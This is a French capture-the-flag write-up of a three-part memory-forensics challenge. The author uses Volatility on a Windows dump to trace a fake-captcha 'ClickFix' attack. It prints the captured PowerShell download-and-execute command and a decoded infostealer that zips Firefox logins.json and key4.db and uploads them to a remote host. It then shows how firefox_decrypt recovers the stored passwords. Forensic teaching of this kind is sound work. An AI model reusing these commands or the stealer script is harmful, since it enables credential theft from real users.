Shrug

CTF Writeups Vault

Icuras Elran

Parcourez les résolutions de challenges comme dans un système de fichiers. Cliquez sur les dossiers pour explorer les événements et ouvrez un writeup pour profiter d'un rendu Markdown enrichi (LaTeX, blocs terminal, images HD).

NoBrackets2025ForensicsMedium

Icuras Elran

Un challenge de memory forensics appelant à l'étude d'un infostealer très simple par le biais d'un dump mémoire.

CupOfKofy
#memory forensics#dump#volatility

Introduction

Icarus Elran 1-3

Icarus Elran 1

La mairie de Jean vient de l'informer qu'elle a subit une attaque informatique proposant aux utilisateurs un faux captcha dissimulant un clickfix. Pensant en avoir été victime, il a réalisé un dump mémoire de sa machine. Aidez-le à comprendre le schéma d'attaque.

Pour cette première partie, retrouvez la commande exécutée par Jean lors du phishing.

Format: NBCTF{socket|filepath} Exemple: NBCTF{10.0.12.5:8080|C:\Users\J.Dupond\Desktop\un_fichier.txt}

memory.zip

sha256sum: 482a8e87a53b59a1a0074a0f4af763438da371cd980208648366546f77b09203 memory.dmp

Author: alex532h

Résolution

Analyse Intitiale :

Ce challenge est présenté dans la catégorie Forensics et nous encourage à nous lancer dans l'analyse d'un dump mémoire. Notre mission sera donc de retrouver la commande que Jean à éxécuté qui à permis le clickfix.

Dans le format du flag nous pouvons voir un chemin de fichier typique de Windows, on peut donc raisonnablement se douter que la commande sera enregistrée dans des logs de terminal de Windows.

On nous parle aussi de "Clickfix" : Il s'agit d'une technique de Social Engineering où un attaqueur met en place un Captcha malveillant, qui demande souvent à l'utilisateur de coller dans le run de windows ou le terminal ce qui à été copié par le site dans leur presse-papier, et ce, afin de prouver leur humanité.

Image ClickFix
Image ClickFix
Seul petit bémol, ce string de texte télécharge un payload depuis un serveur maître et éxécute un processus malveillant sur l'ordinateur de la victime.

Tooling :

Comme dans l'immense majorité des challenges de Memory Forensics, notre meilleur ami sera Volatility 3. Ce framework extrêmement puissant rassemble tout le tooling dont nous pourrions rêver pour résoudre ce challenge.

terminal
bash
$- pip install volatility3

Réflexion :

Après extraction, on se retrouve avec un fichier dmp sobrement nommé memory.dmp

Un core dump ou cliché est un fichier dans lequel est enregistré une copie de la mémoire vive et des registres d'un processeur, permettant d'avoir un instantané de l'état d'un système.

1- Avant toute chose, nous devons déterminer le profil du système :

On se doute déjà que l'on va étudier un dump venant d'une machine sous Windows, cependant, cela reste une bonne idée de vérifier (les plugins de Volatility3 ne sont pas les mêmes selon les OS).

terminal
bash
$- vol -f memory.dmp windows.info > Volatility 3 Framework 2.26.2 > Progress: 100.00 PDB scanning finished > Variable Value [...] > NtSystemRoot C:\Windows > NtMajorVersion 10

Ici, le plugin retourne bien un certain nombre d'infos sur le dump, confirmant bien que le système est une instance de windows 10.

2- Exploration

Passons au coeur du sujet : On nous demande de retrouver une commande éxecutée sur la machine au moment de l'attaque.

Pour ça, on va utiliser un module de volatility : cmdline

terminal
bash
$- vol -f memory.dmp windows.cmdline > Volatility 3 Framework 2.26.2 > Progress: 100.00 PDB scanning finished > PID Process Args [...] > 8400 cmd.exe "C:\Windows\system32\cmd.exe" /k start /b powershell -w h "$o=Join-Path $Env:LOCALAPPDATA '\Temp\msin0.txt';iwr -Uri 'http://192.168.57.118:4037/msin0.txt' -OutFile $o;iex (gc $o -Raw)" ;# ✅ I am not a robot - Verification ID : 1337 -------------- [...]

Ici, pour l'identification de la ligne concernée dans le mur de texte que produit

windows.cmdline

nous sommes bien aidés par ✅ I am not a robot qui ressort fortement.

On à donc une des deux parties du flag :

socket = 192.168.57.118:4037

Et, en prime, une indication sur la deuxième partie du flag :

$Env:LOCALAPPDATA '\Temp\msin0.txt

Maintenant il ne nous reste plus qu'à chercher ce fameux dossier de LOCALAPPDATA :

On sait que le dossier appdata est dans le dossier utilisateur sous windows, cela signifie que nous pouvons tenter de voir si une commande à été exécutée depuis ce dernier :

terminal
bash
$- vol -f memory.dmp windows.cmdline | grep -i "utilisateur" # ou vol -f memory.dmp windows.cmdline | grep -i "appdata" > 6836ressOneDrive.exe "C:\Users\utilisateurlambda\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background [...]

et voilà, on peut extrapoler la position du payload :

filepath = C:\Users\utilisateurlambda\AppData\Local\Temp\msin0.txt

3- Recréation du flag

en suivant le modèle donné :

NBCTF{socket|filepath}

On a :

  • 192.168.57.118:4037
  • C:\Users\utilisateurlambda\AppData\Local\Temp\msin0.txt

D'où :

NBCTF{192.168.57.118:4037|C:\Users\utilisateurlambda\AppData\Local\Temp\msin0.txt}

test vol -f memory.dmp consoles

Icuras Elran - 2

Introduction

La mairie de Jean vient de l'informer qu'elle a subit une attaque informatique proposant aux utilisateurs un faux captcha dissimulant un clickfix. Pensant en avoir été victime, il a réalisé un dump mémoire de sa machine. Aidez-le à comprendre le schéma d'attaque.

Maintenant que vous savez qu'un fichier a été técléchargé puis exécuté, récupérez son contenu pour savoir ce qu'il fait.

*PS: pour des raisons techniques, veuillez considérer que msin0.txt est maintenant msin1.txt*

Format: NBCTF{target_filepath_1|target_filepath2|destination_filepath|socket} Exemple: NBCTF{C:\Users\J.Dupond\Desktop\fichier_1|C:\Users\J.Dupond\Desktop\fichier_2|C:\Users\J.Dupond\Téléchargements\j_dupont.png|10.13.37.3:4444}

Author: alex532h

Résolution

Réflexion

Nous avons déjà trouvé le chemin vers le fichier incriminé (C:\Users\utilisateurlambda\AppData\Local\Temp\msin1.txt), Il nous reste maintenant plus qu'à le récupérer et à analyser son contenu !

Pour cela, nous allons faire appel à un autre module de volatility : dumpfiles

Dumpfiles est un plugin qui dump un fichier donné à partir des extraits de la mémoire de Windows présents dans le dump.

Cependant, dumpfiles ne prend pas un nom de fichier, mais une adresse mémoire :

terminal
bash
$- vol windows.dumpfiles -h > Volatility 3 Framework 2.26.2 usage: vol windows.dumpfiles.DumpFiles [-h] [--pid PID] [--virtaddr [VIRTADDR ...]] [--physaddr [PHYSADDR ...]] [--filter FILTER] [--ignore-case] Dumps cached file contents from Windows memory samples. options: -h, --help show this help message and exit --pid PID Process ID to include (all other processes are excluded) --virtaddr [VIRTADDR ...] Dump the _FILE_OBJECTs at the given virtual address(es) --physaddr [PHYSADDR ...] Dump a single _FILE_OBJECTs at the given physical address(es)

Cependant, si on regarde l'aide du module, on se rend compte que dumpfiles utilise l'adresse physique ou virtuelle, et non l'emplacement du fichier, pour obtenir cette dernière, nous allons utiliser un enième module de volatility : filescan.

Nous on ne s'intéresse qu'à ce qui concerne msin1.txt, on va donc grep la sortie

Cette commande met du temps à s'éxecuter, et c'est normal : elle liste TOUS les fichiers du dump, on ne le voit juste pas à cause du grep.

terminal
bash
$- vol -f memory.dmp windows.filescan | grep -i msin1 > 0x9d0db01317d0.0\Users\utilisateurlambda\AppData\Local\Temp\msin1.txt

l'adresse virtuelle est donc : 0x9d0db01317d0

D'après la doc de volatility, la syntaxe de windows.dumpfiles est :

vol -f memory.dmp windows.dumpfiles --virtaddr <virtaddr>

terminal
bash
$- vol -f memory.dmp windows.dumpfiles --virtaddr 0x9d0db01317d0 > Volatility 3 Framework 2.26.2 > Progress: 100.00 PDB scanning finished > Cache FileObject FileName Result > DataSectionObject 0x9d0db01317d0 msin1.txt file.0x9d0db01317d0.0x9d0daff51ab0.DataSectionObject.msin1.txt.dat

Nous obtenons ainsi un fichier .dat qu'il nous suffit d'ouvrir dans un éditeur de texte :

à l'interieur nous découvrons un fichier powershell d'une seule ligne qui contient une ligne en base 64, c'est une technique d'obfuscation basique souvent utilisé par des malwares pour cacher le code malveillant aux yeux des utilisateurs suspicieux et des antivirus.

Base 64ASCII

Entrée

N2MzLjNUdmc+UHt6f3daZ3Z+Mz5XemF2cGd8YWozPkNyZ3szMTdWfWUpUkNDV1JHUk9efGl6f39yT1V6YXZ1fGtPQ2F8dXp/dmAxMz5Ven9ndmEzMTk9d3Z1cmZ/Zz5hdn92cmB2MTNvM0B2f3ZwZz5ccXl2cGczPlV6YWBnMyIoN2czLjNTOzE3OzdjPVVmf39dcn52Ok9/fHR6fWA9eWB8fTE/MzE3OzdjPVVmf39dcn52Ok94dmonPXdxMTooN3czLjMxN1Z9ZSlfXFBSX1JDQ1dSR1JPR3Z+Y09VemF2dSNrT2B2YWV6cHZkfGF4dmE9aXpjMSh6dTM7MjtHdmBnPkNyZ3szMTdWfWUpX1xQUl9SQ0NXUkdST0d2fmNPVXphdnUjazE6OmhddmQ+Wmd2fjM+Wmd2fkdqY3YzV3phdnBnfGFqMz5Dcmd7MzE3Vn1lKV9cUFJfUkNDV1JHUk9Hdn5jT1V6YXZ1I2sxbihQfH5jYXZgYD5SYXB7emV2Mz5Dcmd7MzdnMz5XdmBnen1yZ3p8fUNyZ3szN3czPlV8YXB2KDdmMy4zMXtnZ2MpPDwiKiE9IiUrPSUlPSEiKykrIyMjPGZjf3xydzEoN3UzLjNTaHV6f3ZgMy4zVHZnPlpndn4zPkNyZ3szN3duKFpWSzM7XXZkPlxxeXZwZzNddmc9RHZxUH96dn1nOj1XfGR9f3xyd0BnYXp9dDsxe2dnY2ApPDxhcmQ9dHpne2ZxZmB2YXB8fWd2fWc9cHx+PHlmf3p8ZmF2fXI8Y39yen1ndmtnPH5yYGd2YTxDfGR2YWB7dn9/PENARmN/fHJ3PWNgIjE6KFp9ZXx4dj5Ven92RmN/fHJ3Mz5GYXozN2YzPlV6f3YzN3cZUHxjaj5aZ3Z+Mz5Dcmd7MzE3Vn1lKV9cUFJfUkNDV1JHUk9Hdn5jT35gen0jPWdrZzEzPld2YGd6fXJnenx9MzE3Vn1lKV9cUFJfUkNDV1JHUk9Hdn5jT35gen0iPWdrZzEwfnJjM2d7djN1en92M3p9M352fnxhag==

Résultat

7c3.3Tvg>P{zwZgv~3>Wzavpg|aj3>Crg{317V}e)RCCWRGRO^|izrOUzavu|kOCa|uzv`13>Uzgva319=wvurfg>avvr`v13o3@vvpg>\qyvpg3>Uza`g3"(7g3.3S;17;7c=Uf]r~v:O|tz}`=y`|}1?317;7c=Uf]r~v:Oxvj'=wq1:(7w3.317V}e)_\PR_RCCWRGROGv~cOUzavu#kO`vaezpvd|axva=izc1(zu3;2;Gv`g>Crg{317V}e)_\PR_RCCWRGROGv~cOUzavu#k1::h]vd>Zgv~3>Zgv~Gjcv3Wzavpg|aj3>Crg{317V}e)_\PR_RCCWRGROGv~cOUzavu#k1n(P|~cav``>Rap{zev3>Crg{37g3>Wv`gz}rgz|}Crg{37w3>U|apv(7f3.31{ggc)<<"*!="%+=%%=!"+)+###<fc|rw1(7u3.3Shuzv`3.3Tvg>Zgv~3>Crg{37wn(ZVK3;]vd>\qyvpg3]vg=DvqPzv}g:=W|d}|rw@gaz}t;1{ggc`)<<ard=tzg{fqf`vap|}gv}g=p|~<yfz|fav}r<crz}gvkg<~r`gva<C|dva`{v<C@Fc|rw=c`"1:(Z}e|xv>UzvFc|rw3>Faz37f3>Uzv37wP|cj>Zgv~3>Crg{317V}e)_\PR_RCCWRGROGv~cO~`z}#=gkg13>Wv`gz}rgz|}317V}e)_\PR_RCCWRGROGv~cO~`z}"=gkg10~rc3g{v3uzv3z}3~v~|aj

Ce texte est toujours incompréhensible, cependant, si on lit le fichier jusqu'au bout, on se rend compte que celui-ci est XORé après sa conversion depuis la base 64 :

| ForEach-Object { $_ -bxor 0x13 }))

avec 0x13

Pour comprendre pourquoi nous pouvons simplement Xor le texte déjà Xoré, voir la page de wiki sur les propriétés du XOR utiles en cryptographie.

Bac à sable Python 3.10.0

lorsque nous appliquons le XOR :

$p = Get-ChildItem -Directory -Path "$Env:APPDATA\Mozilla\Firefox\Profiles" -Filter "*.default-release" | Select-Object -First 1;$t = @("$($p.FullName)\logins.json", "$($p.FullName)\key4.db");$d = "$Env:LOCALAPPDATA\Temp\Firef0x\serviceworker.zip";if (!(Test-Path "$Env:LOCALAPPDATA\Temp\Firef0x")){New-Item -ItemType Directory -Path "$Env:LOCALAPPDATA\Temp\Firef0x"};Compress-Archive -Path $t -DestinationPath $d -Force;$u = "http://192.168.66.218:8000/upload";$f = @{files = Get-Item -Path $d};IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1");Invoke-FileUpload -Uri $u -File $d Copy-Item -Path "$Env:LOCALAPPDATA\Temp\msin0.txt" -Destination "$Env:LOCALAPPDATA\Temp\msin1.txt"#map the file in memory

Nous retrouvons le string de texte original !

3- Recréation du flag

Et malheuresement il est encore trop tôt pour se réjouir !

Il faut que nous déterminions les paths exacts des fichiers, nous savons que les fichiers sont extraits du profil "default-release" : -Filter "*.default-release" du navigateur firefox $Env:APPDATA\Mozilla\Firefox\Profiles.

Or, le navigateur firefox génère un string aléatoire pour différencier les profiles :

Exemple de profile Firefox
Exemple de profile Firefox

pour trouver le path exact, nous allons chercher dans le dump au moyen de windows.filescan

terminal
bash
$- vol -f memory.dmp windows.filescan | grep -i logins.json > 0x9d0db013aab0 \Users\utilisateurlambda\AppData\Roaming\Mozilla\Firefox\Profiles\od8wff89.default-release\logins.json

Avec ce résultat, on a le path de logins.json et on peut extrapoler le path de key4.db (c'est le même !)

Donc, en suivant le modèle donné :

NBCTF{target_filepath_1|target_filepath2|destination_filepath|socket}

On a :

  • target_filepath_1 = C:\Users\utilisateurlambda\AppData\Roaming\Mozilla\Firefox\Profiles\od8wff89.default-release\logins.json
  • target_filepath2 = C:\Users\utilisateurlambda\AppData\Roaming\Mozilla\Firefox\Profiles\od8wff89.default-release\key4.db
  • destination_filepath = C:\Users\utilisateurlambda\AppData\Local\Temp\Firef0x\serviceworker.zip
  • socket = 192.168.66.218:8000

D'où :

NBCTF{C:\Users\utilisateurlambda\AppData\Roaming\Mozilla\Firefox\Profiles\od8wff89.default-release\logins.json|C:\Users\utilisateurlambda\AppData\Roaming\Mozilla\Firefox\Profiles\od8wff89.default-release\key4.db|C:\Users\utilisateurlambda\AppData\Local\Temp\Firef0x\serviceworker.zip|192.168.66.218:8000}

Challenge Validé !

Icuras Elran - 3

Introduction

La mairie de Jean vient de l'informer qu'elle a subit une attaque informatique proposant aux utilisateurs un faux captcha dissimulant un clickfix. Pensant en avoir été victime, il a réalisé un dump mémoire de sa machine. Aidez-le à comprendre le schéma d'attaque.

Vous savez maintenant que des informations du profil firefox de Jean ont été exfiltrées. Quelles informations contiennent ces fichiers ?

Format: NBCTF{url|username|password}

Author: alex532h

Résolution

1- Réflexion préalable

Pour l'ultime challenge de cette série, on nous demande de retrouver les logins contenus dans le profile de Jean qui ont étés volés.

Je savais déjà que les gestionnaires de mots de passes integrés aux navigateurs n'étaient pas des plus sécuritaires, mais c'est en recherchant pour ce challenge que je me suis rendu compte de la risibilité de leur sécurité, en effet, pour récupérer les mots de passe contenus de manière chiffrée par logins.json (chiffrée avec les clefs de key4.db), il suffit de passer ces deux fichiers dans un logiciel appelé Firefox Decrypt.

Attention, le logiciel peut récupérer les mots de passes lorsque le profil n'est pas protégé par un Master Password , cependant, en réalité, une infime partie des utilisateurs du gestionnaire de mot de passe intégré sont des power users suffisament avancés pour avoir connaissance de cette possibilité. Cela va sans dire que très peu ont implémenté un Master Password sur leur profile.

2- Récupération des fichiers

On a précedemment récupéré l'adresse mémoire virtuelle de logins.json (0x9d0db013aab0)

On peut donc récupérer le fichier avec windows.dumpfiles :

terminal
bash
$- vol -f memory.dmp windows.dumpfiles --virtaddr 0x9d0db013aab0 > Volatility 3 Framework 2.26.2 > Progress: 100.00 PDB scanning finished > Cache FileObject FileName Result > DataSectionObject 0x9d0db013aab0 logins.json file.0x9d0db013aab0.0x9d0daff50070.DataSectionObject.logins.json.dat

Même opération pour key4.db :

terminal
bash
$- vol -f memory.dmp windows.filescan | grep -i key4.db > 0x9d0db01391b0.0\Users\utilisateurlambda\AppData\Roaming\Mozilla\Firefox\Profiles\od8wff89.default-release\key4.db $- vol -f memory.dmp windows.dumpfiles --virtaddr 0x9d0db01391b0 > Volatility 3 Framework 2.26.2 > Progress: 100.00 PDB scanning finished > Cache FileObject FileName Result > DataSectionObject 0x9d0db01391b0 key4.db file.0x9d0db01391b0.0x9d0daff50cf0.DataSectionObject.key4.db.dat

3- Exploitation par firefox_decrypt :

Pour pouvoir l'exploiter avec firefox_decrypt, il faut que nous rennomions les fichiers :

file.0x9d0db013aab0.0x9d0daff50070.DataSectionObject.logins.json.dat > logins.json

file.0x9d0db01391b0.0x9d0daff50cf0.DataSectionObject.key4.db.dat > key4.db

Enfin, plaçons les dans un vrai profile firefox créé pour l'occasion (firefox_decrypt exige un profile.ini valide, c'est plus simple d'utiliser un vrai profile)

On peut ensuite run python3 firefox_decrypt.py /path/to/profile

terminal
bash
$- python firefox_decrypt.py /home/user/.mozilla/firefox/ci3485ek.default-release/ > WARNING - profile.ini not found in /home/user/.mozilla/firefox/ci3485ek.default-release/ > WARNING - Continuing and assuming '/home/user/.mozilla/firefox/ci3485ek.default-release/' is a profile location > Website: https://mairie-lambda.fr > Username: 'racine.jean' > Password: ';K#]Q@']pJyu3'

4- Recréation du flag :

Donc, en suivant le modèle donné :

NBCTF{url|username|password}

On a :

D'où :

NBCTF{https://mairie-lambda.fr|racine.jean|;K#]Q@']pJyu3}

Challenge Validé !

J'ai choisi de présenter cette série de challenge car j'apprécie particulièrement le memory forensics et que ces derniers illustrent la faille béante de sécurité que constitue le password manager integré dans les navigateurs. C'est d'une simplicité déconcertante de retrouver les credentials avec l'accès au disque de la machine, même si celle-ci est éteinte. (Je pense notamment à un individu malveillant utilisant un linux sur clef USB pour extraire les fichiers d'un disque qui n'est pas chiffré.)

Bon, c'était un sacré writeup, mais j'espère avoir été assez exhaustif. Et surtout, merci d'avoir suivi jusqu'ici !

Les challenges originaux restent la propriété intellectuelle de leurs auteurs. Sauf mention contraire, les contenus produits par ShrugTeam sont diffusés sous licence MIT.